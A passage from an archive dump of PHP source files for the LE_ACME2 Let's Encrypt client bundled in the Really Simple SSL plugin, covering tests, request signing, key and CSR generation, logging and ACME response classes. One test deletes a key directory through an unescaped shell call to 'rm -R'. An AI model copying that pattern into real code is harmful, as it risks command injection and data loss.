        return $this->_nonExistingPath;
    }

    private $_skipAccountModificationTests = false;

    public function setSkipAccountModificationTests(bool $value) : void {
        $this->_skipAccountModificationTests = $value;
    }
    
    public function shouldSkipAccountModificationTests() : bool {
        return $this->_skipAccountModificationTests;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2Tests/AccountTest.php000064400000013102147510273070024554 0ustar00<?php
namespace LE_ACME2Tests;
defined('ABSPATH') or die();

use LE_ACME2\Exception\InvalidResponse;

/**
 * @covers \LE_ACME2\Account
 */
class AccountTest extends AbstractTest {
    
    private $_commonKeyDirectoryPath;

    private $_email;

    public function __construct() {
        parent::__construct();

        $this->_commonKeyDirectoryPath = TestHelper::getInstance()->getTempPath() . 'le-storage/';

        $this->_email = 'le_acme2_php_client@test.com';
    }

    public function testNonExistingCommonKeyDirectoryPath() {

        $this->assertTrue(\LE_ACME2\Account::getCommonKeyDirectoryPath() === null);

        $notExistingPath = TestHelper::getInstance()->getTempPath() . 'should-not-exist/';

        $this->expectException(\RuntimeException::class);

        \LE_ACME2\Account::setCommonKeyDirectoryPath($notExistingPath);
    }

    public function testCommonKeyDirectoryPath() {

        if(!file_exists($this->_commonKeyDirectoryPath)) {
            mkdir($this->_commonKeyDirectoryPath);
        }

        \LE_ACME2\Account::setCommonKeyDirectoryPath($this->_commonKeyDirectoryPath);

        $this->assertTrue(
            \LE_ACME2\Account::getCommonKeyDirectoryPath() === $this->_commonKeyDirectoryPath
        );
    }

    public function testNonExisting() {

        if(\LE_ACME2\Account::exists($this->_email)) {
            $this->markTestSkipped('Skipped: Account does already exist');
        }

        $this->assertTrue(!\LE_ACME2\Account::exists($this->_email));

        $this->expectException(\RuntimeException::class);
        \LE_ACME2\Account::get($this->_email);
    }

    public function testCreate() {

        if(\LE_ACME2\Account::exists($this->_email)) {
            // Skipping account modification tests, when the account already exists
            // to reduce the LE api usage while developing
            TestHelper::getInstance()->setSkipAccountModificationTests(true);
            $this->markTestSkipped('Account modifications skipped: Account does already exist');
        }

        $this->assertTrue(!\LE_ACME2\Account::exists($this->_email));

        $account = \LE_ACME2\Account::create($this->_email);
        $this->assertTrue(is_object($account));
        $this->assertTrue($account->getEmail() === $this->_email);

        $account = \LE_ACME2\Account::get($this->_email);
        $this->assertTrue(is_object($account));

        $result = $account->getData();
        $this->assertTrue($result->getStatus() === \LE_ACME2\Response\Account\AbstractAccount::STATUS_VALID);
    }

    public function testInvalidCreate() {

        if(TestHelper::getInstance()->shouldSkipAccountModificationTests()) {
            $this->expectNotToPerformAssertions();
            return;
        }

        $this->expectException(InvalidResponse::class);
        $this->expectExceptionMessage(
            'Invalid response received: ' .
            'urn:ietf:params:acme:error:invalidEmail' .
            ' - ' .
            'Error creating new account :: invalid contact domain. Contact emails @example.org are forbidden'
        );
        \LE_ACME2\Account::create('test@example.org');
    }

    public function testModification() {

        if(TestHelper::getInstance()->shouldSkipAccountModificationTests()) {
            $this->expectNotToPerformAssertions();
            return;
        }

        $account = \LE_ACME2\Account::get($this->_email);
        $this->assertTrue(is_object($account));

        $keyDirectoryPath = $account->getKeyDirectoryPath();
        $newEmail = 'new-' . $this->_email;

        // An email from example.org is not allowed
        $result = $account->update('test@example.org');
        $this->assertTrue($result === false);

        $result = $account->update($newEmail);
        $this->assertTrue($result === true);

        $this->assertTrue($account->getKeyDirectoryPath() !== $keyDirectoryPath);
        $this->assertTrue(file_exists($account->getKeyDirectoryPath()));

        $result = $account->update($this->_email);
        $this->assertTrue($result === true);

        $result = $account->changeKeys();
        $this->assertTrue($result === true);
    }

    public function testDeactivation() {

        if(TestHelper::getInstance()->shouldSkipAccountModificationTests()) {
            $this->expectNotToPerformAssertions();
            return;
        }

        $account = \LE_ACME2\Account::get($this->_email);
        $this->assertTrue(is_object($account));

        $result = $account->deactivate();
        $this->assertTrue($result === true);

        // The account is already deactivated
        $result = $account->deactivate();
        $this->assertTrue($result === false);

        // The account is already deactivated
        $result = $account->changeKeys();
        $this->assertTrue($result === false);

        // The account is already deactivated
        $this->expectException(\LE_ACME2\Exception\InvalidResponse::class);
        $account->getData();
    }

    public function testCreationAfterDeactivation() {

        if(TestHelper::getInstance()->shouldSkipAccountModificationTests()) {
            $this->expectNotToPerformAssertions();
            return;
        }

        $account = \LE_ACME2\Account::get($this->_email);
        $this->assertTrue(is_object($account));

        system('rm -R ' . $account->getKeyDirectoryPath());
        $this->assertTrue(!\LE_ACME2\Account::exists($this->_email));

        $account = \LE_ACME2\Account::create($this->_email);
        $this->assertTrue(is_object($account));
    }

    public function test() {

        $account = \LE_ACME2\Account::get($this->_email);
        $this->assertTrue(is_object($account));
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2Tests/AbstractTest.php000064400000000464147510273070024732 0ustar00<?php
namespace LE_ACME2Tests;
defined('ABSPATH') or die();

use PHPUnit\Framework\TestCase;
use LE_ACME2;

abstract class AbstractTest extends TestCase {

    public function __construct() {
        parent::__construct();

        LE_ACME2\Connector\Connector::getInstance()->useStagingServer(true);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2Tests/Authorizer/HTTPTest.php000064400000002064147510273070026100 0ustar00<?php
namespace LE_ACME2Tests\Authorizer;
defined('ABSPATH') or die();

use LE_ACME2Tests\AbstractTest;
use LE_ACME2Tests\TestHelper;

/**
 * @covers \LE_ACME2\Authorizer\HTTP
 */
class HTTPTest extends AbstractTest {

    private $_directoryPath;

    public function __construct() {
        parent::__construct();

        $this->_directoryPath = TestHelper::getInstance()->getTempPath() . 'acme-challenges/';
    }

    public function testNonExistingDirectoryPath() {

        $this->assertTrue(\LE_ACME2\Authorizer\HTTP::getDirectoryPath() === null);

        $this->expectException(\RuntimeException::class);
        \LE_ACME2\Authorizer\HTTP::setDirectoryPath(TestHelper::getInstance()->getNonExistingPath());
    }

    public function testDirectoryPath() {

        if(!file_exists($this->_directoryPath)) {
            mkdir($this->_directoryPath);
        }

        \LE_ACME2\Authorizer\HTTP::setDirectoryPath($this->_directoryPath);

        $this->assertTrue(
            \LE_ACME2\Authorizer\HTTP::getDirectoryPath() === $this->_directoryPath
        );
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Utilities/RequestSigner.php000064400000011041147510273070026050 0ustar00<?php

namespace LE_ACME2\Utilities;
defined('ABSPATH') or die();

class RequestSigner {

    /**
     * Generates a JSON Web Key signature to attach to the request.
     *
     * @param array 	$payload		The payload to add to the signature.
     * @param string	$url 			The URL to use in the signature.
     * @param string    $nonce
     * @param string 	$privateKeyDir  The directory to get the private key from. Default to the account keys directory given in the constructor. (optional)
     * @param string 	$privateKeyFile The private key to sign the request with. Defaults to 'private.pem'. (optional)
     *
     * @return array	Returns an array containing the signature.
     */
    public static function JWK(array $payload, string $url, string $nonce, string $privateKeyDir, string $privateKeyFile = 'private.pem') : array {

        Logger::getInstance()->add(Logger::LEVEL_DEBUG, 'JWK sign request for ' . $url, $payload);

        $privateKey = @openssl_pkey_get_private(file_get_contents($privateKeyDir . $privateKeyFile));
        $details = @openssl_pkey_get_details($privateKey);

        $protected = [
            "alg" => "RS256",
            "jwk" => [
                "kty" => "RSA",
                "n" => Base64::UrlSafeEncode($details["rsa"]["n"]),
                "e" => Base64::UrlSafeEncode($details["rsa"]["e"]),
            ],
            "nonce" => $nonce,
            "url" => $url
        ];

        $payload64 = Base64::UrlSafeEncode(str_replace('\\/', '/', json_encode($payload)));
        $protected64 = Base64::UrlSafeEncode(json_encode($protected));

        openssl_sign($protected64.'.'.$payload64, $signed, $privateKey, "SHA256");
        $signed64 = Base64::UrlSafeEncode($signed);

        $data = array(
            'protected' => $protected64,
            'payload' => $payload64,
            'signature' => $signed64
        );

        return $data;
    }

    /**
     * Generates a JSON Web Key signature to attach to the request.
     *
     * @param array 	$payload		The payload to add to the signature.
     * @param string	$url 			The URL to use in the signature.
     * @param string    $nonce
     * @param string 	$privateKeyDir  The directory to get the private key from. Default to the account keys directory given in the constructor. (optional)
     * @param string 	$privateKeyFile The private key to sign the request with. Defaults to 'private.pem'. (optional)
     *
     * @return string	Returns a JSON encoded string containing the signature.
     */
    public static function JWKString(array $payload, string $url, string $nonce, string $privateKeyDir, string $privateKeyFile = 'private.pem') : string {

        $jwk = self::JWK($payload, $url, $nonce, $privateKeyDir, $privateKeyFile);
        return json_encode($jwk);
    }

    /**
     * Generates a Key ID signature to attach to the request.
     *
     * @param array|null 	$payload		The payload to add to the signature.
     * @param string	$kid			The Key ID to use in the signature.
     * @param string	$url 			The URL to use in the signature.
     * @param string    $nonce
     * @param string 	$privateKeyDir  The directory to get the private key from.
     * @param string 	$privateKeyFile The private key to sign the request with. Defaults to 'private.pem'. (optional)
     *
     * @return string	Returns a JSON encoded string containing the signature.
     */
    public static function KID(?array $payload, string $kid, string $url, string $nonce, string $privateKeyDir, string $privateKeyFile = 'private.pem') : string {

        Logger::getInstance()->add(Logger::LEVEL_DEBUG, 'KID sign request for ' . $url, $payload);

        $privateKey = openssl_pkey_get_private(file_get_contents($privateKeyDir . $privateKeyFile));
        // TODO: unused - $details = openssl_pkey_get_details($privateKey);

        $protected = [
            "alg" => "RS256",
            "kid" => $kid,
            "nonce" => $nonce,
            "url" => $url
        ];

        Logger::getInstance()->add(Logger::LEVEL_DEBUG, 'KID: ready to sign request for: ' . $url, $protected);

        $payload = $payload === null ? "" : str_replace('\\/', '/', json_encode($payload));

        $payload64 = Base64::UrlSafeEncode($payload);
        $protected64 = Base64::UrlSafeEncode(json_encode($protected));

        openssl_sign($protected64.'.'.$payload64, $signed, $privateKey, "SHA256");
        $signed64 = Base64::UrlSafeEncode($signed);

        $data = [
            'protected' => $protected64,
            'payload' => $payload64,
            'signature' => $signed64
        ];

        return json_encode($data);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Utilities/Certificate.php000064400000003650147510273070025501 0ustar00<?php

namespace LE_ACME2\Utilities;
defined('ABSPATH') or die();

use LE_ACME2\Order;
use LE_ACME2\Exception\OpenSSLException;

class Certificate {

	protected static $_featureOCSPMustStapleEnabled = false;

	public static function enableFeatureOCSPMustStaple() {
		self::$_featureOCSPMustStapleEnabled = true;
	}

	public static function disableFeatureOCSPMustStaple() {
		self::$_featureOCSPMustStapleEnabled = false;
	}

	/**
	 * @param Order $order
	 * @return string
	 * @throws OpenSSLException
	 */
	public static function generateCSR(Order $order) : string {

		$dn = [
			"commonName" => $order->getSubjects()[0]
		];

		$san = implode(",", array_map(function ($dns) {

				return "DNS:" . $dns;
			}, $order->getSubjects())
		);

		$configFilePath = $order->getKeyDirectoryPath() . 'csr_config';

		$config = 'HOME = .
			RANDFILE = ' . $order->getKeyDirectoryPath() . '.rnd
			[ req ]
			default_bits = 4096
			default_keyfile = privkey.pem
			distinguished_name = req_distinguished_name
			req_extensions = v3_req
			[ req_distinguished_name ]
			countryName = Country Name (2 letter code)
			[ v3_req ]
			basicConstraints = CA:FALSE
			subjectAltName = ' . $san . '
			keyUsage = nonRepudiation, digitalSignature, keyEncipherment';

		if(self::$_featureOCSPMustStapleEnabled) {
			$config .= PHP_EOL . 'tlsfeature=status_request';
		}

		file_put_contents($configFilePath, $config);

		$privateKey = openssl_pkey_get_private(
			file_get_contents($order->getKeyDirectoryPath() . 'private.pem')
		);

		if($privateKey === false) {
			throw new OpenSSLException('openssl_pkey_get_private');
		}

		$csr = openssl_csr_new(
			$dn,
			$privateKey,
			[
				'config' => $configFilePath,
				'digest_alg' => 'sha256'
			]
		);

		if($csr === false) {
			throw new OpenSSLException('openssl_csr_new');
		}

		if(!openssl_csr_export($csr, $csr)) {
			throw new OpenSSLException('openssl_csr_export');
		}

		unlink($configFilePath);

		return $csr;
	}
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Utilities/Base64.php000064400000001667147510273070024311 0ustar00<?php

namespace LE_ACME2\Utilities;
defined('ABSPATH') or die();

class Base64 {

    /**
     * Encodes a string input to a base64 encoded string which is URL safe.
     *
     * @param string	$input 	The input string to encode.
     * @return string	Returns a URL safe base64 encoded string.
     */
    public static function UrlSafeEncode(string $input) : string {
        return str_replace('=', '', strtr(base64_encode($input), '+/', '-_'));
    }

    /**
     * Decodes a string that is URL safe base64 encoded.
     *
     * @param string	$input	The encoded input string to decode.
     * @return string	Returns the decoded input string.
     */
    public static function UrlSafeDecode(string $input) : string {

        $remainder = strlen($input) % 4;
        if ($remainder) {
            $padlen = 4 - $remainder;
            $input .= str_repeat('=', $padlen);
        }
        return base64_decode(strtr($input, '-_', '+/'));
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Utilities/KeyGenerator.php000064400000004504147510273070025655 0ustar00<?php

namespace LE_ACME2\Utilities;
defined('ABSPATH') or die();

class KeyGenerator {

    /**
     * Generates a new RSA keypair and saves both keys to a new file.
     *
     * @param string	$directory		The directory in which to store the new keys.
     * @param string	$privateKeyFile	The filename for the private key file.
     * @param string	$publicKeyFile  The filename for the public key file.
     */
    public static function RSA(string $directory, string $privateKeyFile = 'private.pem', string $publicKeyFile = 'public.pem') {

        $res = openssl_pkey_new([
            "private_key_type" => OPENSSL_KEYTYPE_RSA,
            "private_key_bits" => 4096,
        ]);

        if(!openssl_pkey_export($res, $privateKey))
            throw new \RuntimeException("RSA keypair export failed!");

        $details = openssl_pkey_get_details($res);

        file_put_contents($directory . $privateKeyFile, $privateKey);
        file_put_contents($directory . $publicKeyFile, $details['key']);

        if(PHP_MAJOR_VERSION < 8) {
            // deprecated after PHP 8.0.0 and not needed anymore
            openssl_pkey_free($res);
        }
    }

    /**
     * Generates a new EC prime256v1 keypair and saves both keys to a new file.
     *
     * @param string	$directory		The directory in which to store the new keys.
     * @param string	$privateKeyFile	The filename for the private key file.
     * @param string	$publicKeyFile  The filename for the public key file.
     */
    public static function EC(string $directory, string $privateKeyFile = 'private.pem', string $publicKeyFile = 'public.pem') {

        if (version_compare(PHP_VERSION, '7.1.0') == -1)
            throw new \RuntimeException("PHP 7.1+ required for EC keys");

        $res = openssl_pkey_new([
            "private_key_type" => OPENSSL_KEYTYPE_EC,
            "curve_name" => "prime256v1",
        ]);

        if(!openssl_pkey_export($res, $privateKey))
            throw new \RuntimeException("EC keypair export failed!");

        $details = openssl_pkey_get_details($res);

        file_put_contents($directory . $privateKeyFile, $privateKey);
        file_put_contents($directory . $publicKeyFile, $details['key']);

        if(PHP_MAJOR_VERSION < 8) {
            // deprecated after PHP 8.0.0 and not needed anymore
            openssl_pkey_free($res);
        }
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Utilities/Logger.php000064400000003130147510273070024467 0ustar00<?php

namespace LE_ACME2\Utilities;
defined('ABSPATH') or die();

use LE_ACME2\SingletonTrait;

class Logger {

    use SingletonTrait;

    const LEVEL_DISABLED = 0;
    const LEVEL_INFO = 1;
    const LEVEL_DEBUG = 2;

    private function __construct() {}

    protected $_desiredLevel = self::LEVEL_DISABLED;

    public function setDesiredLevel(int $desiredLevel) {
        $this->_desiredLevel = $desiredLevel;
    }

    /**
     * @param int $level
     * @param string $message
     * @param string|array|object $data
     */
    public function add(int $level, string $message, $data = array()) {

        if($level > $this->_desiredLevel)
            return;

        $e = new \Exception();
        $trace = $e->getTrace();
        unset($trace[0]);

        $output = '<b>' . date('d-m-Y H:i:s') . ': ' . $message . '</b><br>' . "\n";

        if($this->_desiredLevel == self::LEVEL_DEBUG) {

            $step = 0;
            foreach ($trace as $traceItem) {

                if(!isset($traceItem['class']) || !isset($traceItem['function'])) {
                    continue;
                }

                $output .= 'Trace #' . $step . ': ' . $traceItem['class'] . '::' . $traceItem['function'] . '<br/>' . "\n";
                $step++;
            }

            if ((is_array($data) && count($data) > 0) || !is_array($data))
                $output .= "\n" .'<br/>Data:<br/>' . "\n" . '<pre>' . var_export($data, true) . '</pre>';

            $output .= '<br><br>' . "\n\n";
        }

        if(PHP_SAPI == 'cli') {

            $output = strip_tags($output);
        }
        echo $output;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/AbstractKeyValuable.php000064400000005333147510273070025174 0ustar00<?php

namespace LE_ACME2;
defined('ABSPATH') or die();

use LE_ACME2\Connector\Connector;

abstract class AbstractKeyValuable {

    const KEY_TYPE_RSA = "RSA";
    const KEY_TYPE_EC = "EC";

    protected $_identifier;

    protected static $_directoryPath = null;

    public static function setCommonKeyDirectoryPath(string $directoryPath) {

        if(!file_exists($directoryPath)) {
            throw new \RuntimeException('Common Key Directory Path does not exist');
        }

        self::$_directoryPath = realpath($directoryPath) . DIRECTORY_SEPARATOR;
    }

    public static function getCommonKeyDirectoryPath() : ?string {
        return self::$_directoryPath;
    }

    protected function _getKeyDirectoryPath(string $appendix = '') : string {

        return self::$_directoryPath . $this->_identifier . $appendix . DIRECTORY_SEPARATOR;
    }

    public function getKeyDirectoryPath() : string {

        return $this->_getKeyDirectoryPath('');
    }

    protected function _initKeyDirectory(string $keyType = self::KEY_TYPE_RSA, bool $ignoreIfKeysExist = false) {

        if(!file_exists($this->getKeyDirectoryPath())) {

            mkdir($this->getKeyDirectoryPath(), 0755, true);
        }

        if(!$ignoreIfKeysExist && (
                file_exists($this->getKeyDirectoryPath() . 'private.pem') ||
                file_exists($this->getKeyDirectoryPath() . 'public.pem')
            )
        ) {

            throw new \RuntimeException(
                'Keys exist already. Exists the ' . get_class($this) . ' already?' . PHP_EOL .
                'Path: ' . $this->getKeyDirectoryPath()
            );
        }

        if($keyType == self::KEY_TYPE_RSA) {

            Utilities\KeyGenerator::RSA(
                $this->getKeyDirectoryPath(),
                'private.pem',
                'public.pem'
            );
        } else if($keyType == self::KEY_TYPE_EC) {

            Utilities\KeyGenerator::EC(
                $this->getKeyDirectoryPath(),
                'private.pem',
                'public.pem'
            );
        } else {

            throw new \RuntimeException('Key type "' . $keyType . '" not supported.');
        }
    }

    protected function _clearKeyDirectory() {

        if(file_exists($this->getKeyDirectoryPath() . 'private.pem')) {
            unlink($this->getKeyDirectoryPath() . 'private.pem');
        }

        if(file_exists($this->getKeyDirectoryPath() . 'public.pem')) {
            unlink($this->getKeyDirectoryPath() . 'public.pem');
        }
    }

    protected function _getAccountIdentifier(Account $account) : string {

        $staging = Connector::getInstance()->isUsingStagingServer();

        return 'account_' . ($staging ? 'staging_' : 'live_') . $account->getEmail();
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Exception/ExpiredAuthorization.php000064400000000345147510273070027421 0ustar00<?php

namespace LE_ACME2\Exception;
defined('ABSPATH') or die();

class ExpiredAuthorization extends AbstractException {

    public function __construct() {
        parent::__construct("Expired authorization received");
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Exception/RateLimitReached.php000064400000000542147510273070026405 0ustar00<?php

namespace LE_ACME2\Exception;
defined('ABSPATH') or die();

class RateLimitReached extends AbstractException {

    public function __construct(string $request, string $detail) {
        parent::__construct(
            "Invalid response received for request (" . $request . "): " .
            "rate limit reached - " . $detail
        );
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Exception/AuthorizationInvalid.php000064400000000172147510273070027405 0ustar00<?php

namespace LE_ACME2\Exception;
defined('ABSPATH') or die();

class AuthorizationInvalid extends AbstractException {}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Exception/OpenSSLException.php000064400000000564147510273070026405 0ustar00<?php

namespace LE_ACME2\Exception;
defined('ABSPATH') or die();

class OpenSSLException extends AbstractException {

	public function __construct(string $function) {

		$errors = [];
		while(($error = openssl_error_string()) !== false) {
			$errors[] = $error;
		}

		parent::__construct(
			$function . ' failed - error messages: ' . var_export($errors, true)
		);
	}
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Exception/AbstractException.php000064400000000627147510273070026665 0ustar00<?php

namespace LE_ACME2\Exception;
defined('ABSPATH') or die();

use LE_ACME2\Utilities;

abstract class AbstractException extends \Exception {

    public function __construct(string $message) {

        Utilities\Logger::getInstance()->add(
            Utilities\Logger::LEVEL_DEBUG,
            'Exception "' . get_called_class() . '" thrown '
        );

        parent::__construct($message);
    }
}lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Exception/DNSAuthorizationInvalid.php000064400000000200147510273070027663 0ustar00really-simple-ssl<?php

namespace LE_ACME2\Exception;
defined('ABSPATH') or die();

class DNSAuthorizationInvalid extends AuthorizationInvalid {}lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Exception/HTTPAuthorizationInvalid.php000064400000000201147510273070030017 0ustar00really-simple-ssl<?php

namespace LE_ACME2\Exception;
defined('ABSPATH') or die();

class HTTPAuthorizationInvalid extends AuthorizationInvalid {}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Exception/StatusInvalid.php000064400000000163147510273070026030 0ustar00<?php

namespace LE_ACME2\Exception;
defined('ABSPATH') or die();

class StatusInvalid extends AbstractException {}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Exception/InvalidResponse.php000064400000002043147510273070026342 0ustar00<?php

namespace LE_ACME2\Exception;
defined('ABSPATH') or die();

use LE_ACME2\Connector\RawResponse;

class InvalidResponse extends AbstractException {

    private $_rawResponse;
    private $_responseStatus;

    public function __construct(RawResponse $rawResponse, string $responseStatus = null) {

        $this->_rawResponse = $rawResponse;
        $this->_responseStatus = $responseStatus;

        if($responseStatus === '') {
            $responseStatus = 'Unknown response status';
        }

        if(isset($this->_rawResponse->body['type'])) {
            $responseStatus = $this->_rawResponse->body['type'];
        }

        if(isset($this->_rawResponse->body['detail'])) {
            $responseStatus .= ' - ' . $this->_rawResponse->body['detail'];
        }

        parent::__construct('Invalid response received: ' . $responseStatus);
    }

    public function getRawResponse() : RawResponse {
        return $this->_rawResponse;
    }

    public function getResponseStatus() : ?string {
        return $this->_responseStatus;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/AbstractResponse.php000064400000003566147510273070026372 0ustar00<?php

namespace LE_ACME2\Response;
defined('ABSPATH') or die();

use LE_ACME2\Exception;

use LE_ACME2\Connector\RawResponse;

abstract class AbstractResponse {

    protected $_raw = NULL;

    protected $_pattern_header_location = '/^Location: (\S+)$/i';

    /**
     * AbstractResponse constructor.
     *
     * @param RawResponse $raw
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     */
    public function __construct(RawResponse $raw) {

        $this->_raw = $raw;

        if($this->_isRateLimitReached()) {

            $detail = "";
            if(isset($raw->body['type']) && $raw->body['type'] == 'urn:ietf:params:acme:error:rateLimited') {
                $detail = $raw->body['detail'];
            }

            throw new Exception\RateLimitReached($raw->request, $detail);
        }

        $result = $this->_isValid();
        if(!$result) {

            $responseStatus = $this->_preg_match_headerLine('/^HTTP\/.* [0-9]{3,} /i');
            throw new Exception\InvalidResponse(
                $raw,
                $responseStatus ? $responseStatus[1] : null
            );
        }
    }

    protected function _preg_match_headerLine(string $pattern) : ?array {

        foreach($this->_raw->header as $line) {

            if(preg_match($pattern, $line, $matches) === 1)
                return $matches;
        }
        return null;
    }

    protected function _isRateLimitReached() : bool {
        return $this->_preg_match_headerLine('/^HTTP\/.* 429/i') !== null;
    }

    protected function _isValid() : bool {

        return $this->_preg_match_headerLine('/^HTTP\/.* 201/i') !== null || //Created
            $this->_preg_match_headerLine('/^HTTP\/.* 200/i') !== null ||
            $this->_preg_match_headerLine('/^HTTP\/.* 204/i') !== null;
    }

    public function getRaw() : RawResponse {
        return $this->_raw;
    }
}lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Authorization/Struct/Challenge.php000064400000001055147510273070031026 0ustar00really-simple-ssl<?php

namespace LE_ACME2\Response\Authorization\Struct;
defined('ABSPATH') or die();

class Challenge {

    const STATUS_PROGRESSING = 'processing';
    const STATUS_PENDING = 'pending';
    const STATUS_VALID = 'valid';
    const STATUS_INVALID = 'invalid';

    public $type;
    public $status;
    public $url;
    public $token;

    public function __construct(string $type, string $status, string $url, string $token) {

        $this->type = $type;
        $this->status = $status;
        $this->url = $url;
        $this->token = $token;
    }
}lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Authorization/Struct/Identifier.php000064400000000424147510273070031225 0ustar00really-simple-ssl<?php

namespace LE_ACME2\Response\Authorization\Struct;
defined('ABSPATH') or die();

class Identifier {

    public $type;
    public $value;

    public function __construct(string $type, string $value) {

        $this->type = $type;
        $this->value = $value;
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Authorization/Get.php000064400000002116147510273070026455 0ustar00<?php

namespace LE_ACME2\Response\Authorization;
defined('ABSPATH') or die();

use LE_ACME2\Response\Authorization\Struct;

class Get extends AbstractAuthorization {

    public function getIdentifier() : Struct\Identifier {
        return new Struct\Identifier($this->_raw->body['identifier']['type'], $this->_raw->body['identifier']['value']);
    }

    public function getStatus() : string {
        return $this->_raw->body['status'];
    }

    public function getExpires() : string {
        return $this->_raw->body['expires'];
    }

    public function getChallenges() : array {
        return $this->_raw->body['challenges'];
    }

    /**
     * @param $type
     * @return Struct\Challenge
     */
    public function getChallenge(string $type) : Struct\Challenge {

        foreach($this->getChallenges() as $challenge) {

            if($type == $challenge['type'])
                return new Struct\Challenge($challenge['type'], $challenge['status'], $challenge['url'], $challenge['token']);
        }
        throw new \RuntimeException('No challenge found with given type');
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Authorization/Start.php000064400000000174147510273070027035 0ustar00<?php

namespace LE_ACME2\Response\Authorization;
defined('ABSPATH') or die();

class Start extends AbstractAuthorization {}lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Authorization/AbstractAuthorization.php000064400000001532147510273070032204 0ustar00really-simple-ssl<?php

namespace LE_ACME2\Response\Authorization;
defined('ABSPATH') or die();

use LE_ACME2\Response\AbstractResponse;

use LE_ACME2\Connector\RawResponse;
use LE_ACME2\Exception;

class AbstractAuthorization extends AbstractResponse {

    /**
     * AbstractAuthorization constructor.
     * @param RawResponse $raw
     * @throws Exception\InvalidResponse
     * @throws Exception\RateLimitReached
     * @throws Exception\ExpiredAuthorization
     */
    public function __construct(RawResponse $raw) {
        parent::__construct($raw);
    }

    /**
     * @return bool
     * @throws Exception\ExpiredAuthorization
     */
    protected function _isValid() : bool {

        if($this->_preg_match_headerLine('/^HTTP\/.* 404/i') !== null) {
            throw new Exception\ExpiredAuthorization();
        }

        return parent::_isValid();
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/GetNewNonce.php000064400000000671147510273070025256 0ustar00<?php

namespace LE_ACME2\Response;
defined('ABSPATH') or die();

class GetNewNonce extends AbstractResponse {

    protected $_pattern = '/^Replay\-Nonce: (\S+)$/i';

    protected function _isValid() : bool {
        return $this->_preg_match_headerLine($this->_pattern) !== null;
    }

    public function getNonce() : string {

        $matches = $this->_preg_match_headerLine($this->_pattern);
        return trim($matches[1]);
    }
}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Account/ChangeKeys.php000064400000000237147510273070026515 0ustar00<?php

namespace LE_ACME2\Response\Account;
defined('ABSPATH') or die();

use LE_ACME2\Response\AbstractResponse;

class ChangeKeys extends AbstractResponse {}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Account/Get.php000064400000000156147510273070025213 0ustar00<?php

namespace LE_ACME2\Response\Account;
defined('ABSPATH') or die();

class Get extends AbstractAccount {}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Account/Deactivate.php000064400000000166147510273070026546 0ustar00<?php

namespace LE_ACME2\Response\Account;
defined('ABSPATH') or die();

class Deactivate extends AbstractLocation {}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Account/Create.php000064400000000161147510273070025673 0ustar00<?php

namespace LE_ACME2\Response\Account;
defined('ABSPATH') or die();

class Create extends AbstractAccount {}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Account/Update.php000064400000000162147510273070025713 0ustar00<?php

namespace LE_ACME2\Response\Account;
defined('ABSPATH') or die();

class Update extends AbstractLocation {}really-simple-ssl/lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Account/GetData.php000064400000000163147510273070026003 0ustar00<?php

namespace LE_ACME2\Response\Account;
defined('ABSPATH') or die();

class GetData extends AbstractLocation {}lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Account/AbstractLocation.php000064400000001361147510273070027650 0ustar00really-simple-ssl<?php

namespace LE_ACME2\Response\Account;
defined('ABSPATH') or die();

use LE_ACME2\Response\AbstractResponse;

abstract class AbstractLocation extends AbstractResponse {

    public function getKey() : string {
        return $this->_raw->body['key'];
    }

    public function getContact() : string {
        return $this->_raw->body['contact'];
    }

    public function getAgreement() : string {
        return $this->_raw->body['agreement'];
    }

    public function getInitialIP() : string {
        return $this->_raw->body['initialIp'];
    }

    public function getCreatedAt() : string {
        return $this->_raw->body['createdAt'];
    }

    public function getStatus() : string {
        return $this->_raw->body['status'];
    }
}lets-encrypt/vendor/fbett/le_acme2/src/LE_ACME2/Response/Account/AbstractAccount.php000064400000000574147510273070027501 0ustar00really-simple-ssl<?php

namespace LE_ACME2\Response\Account;
defined('ABSPATH') or die();

use LE_ACME2\Response\AbstractResponse;

abstract class AbstractAccount extends AbstractResponse {

    const STATUS_VALID = 'valid';


    public function getLocation() : string {

